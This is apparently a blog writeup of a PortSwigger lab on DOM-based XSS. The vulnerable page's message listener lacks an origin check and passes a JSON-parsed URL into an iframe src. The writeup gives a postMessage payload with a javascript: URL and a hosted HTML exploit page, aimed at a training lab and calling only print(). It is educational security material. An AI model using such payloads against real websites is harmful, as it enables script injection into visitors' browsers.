Siunam's Website

My personal website

Home About Blog Writeups Projects E-Portfolio

DOM XSS using web messages and JSON.parse | Jan 14, 2023

Introduction

Welcome to my another writeup! In this Portswigger Labs lab, you’ll learn: DOM XSS using web messages and JSON.parse! Without further ado, let’s dive in.

Background

This lab uses web messaging and parses the message as JSON. To solve the lab, construct an HTML page on the exploit server that exploits this vulnerability and calls the print() function.

Exploitation

Home page:

View source page:

<script>
    window.addEventListener('message', function(e) {
        var iframe = document.createElement('iframe'), ACMEplayer = {element: iframe}, d;
        document.body.appendChild(iframe);
        try {
            d = JSON.parse(e.data);
        } catch(e) {
            return;
        }
        switch(d.type) {
            case "page-load":
                ACMEplayer.element.scrollIntoView();
                break;
            case "load-channel":
                ACMEplayer.element.src = d.url;
                break;
            case "player-height-changed":
                ACMEplayer.element.style.width = d.width + "px";
                ACMEplayer.element.style.height = d.height + "px";
                break;
        }
    }, false);
</script>

In this web message, it has an event listener that listening for a web message. Then, it’ll parse the message as JSON data via JSON.parse. Moreover, the event listener doesn’t verify the origin of incoming messages correctly.

Also, in the switch statement, it has a case called load-channel. What that case do is to change an <iframe> element src attribute. Hence, this is the sink (Dangerous function).

Armed with above information, we can host a malicious HTML file that contains <iframe> element and use the postMessage() method to pass web message data to the vulnerable event listener, which then sends the payload to a sink on the parent page:

postMessage("{\"type\":\"load-channel\", \"url\":\"javascript:print()\"}",'*')

Let’s create a HTML payload to exploit that DOM-based XSS!

<html>
    <head>
        <title>DOM XSS using web messages and JSON.parse</title>
    </head>
    <body>
        <iframe src="https://0a94005203448cd4c073c3ae006d003c.web-security-academy.net/" onload='this.contentWindow.postMessage("{\"type\":\"load-channel\", \"url\":\"javascript:print()\"}","*");'></iframe>
    </body>
</html>

Then host it on the exploit server, and deliver it to victim:

What we’ve learned:

  1. DOM XSS using web messages and JSON.parse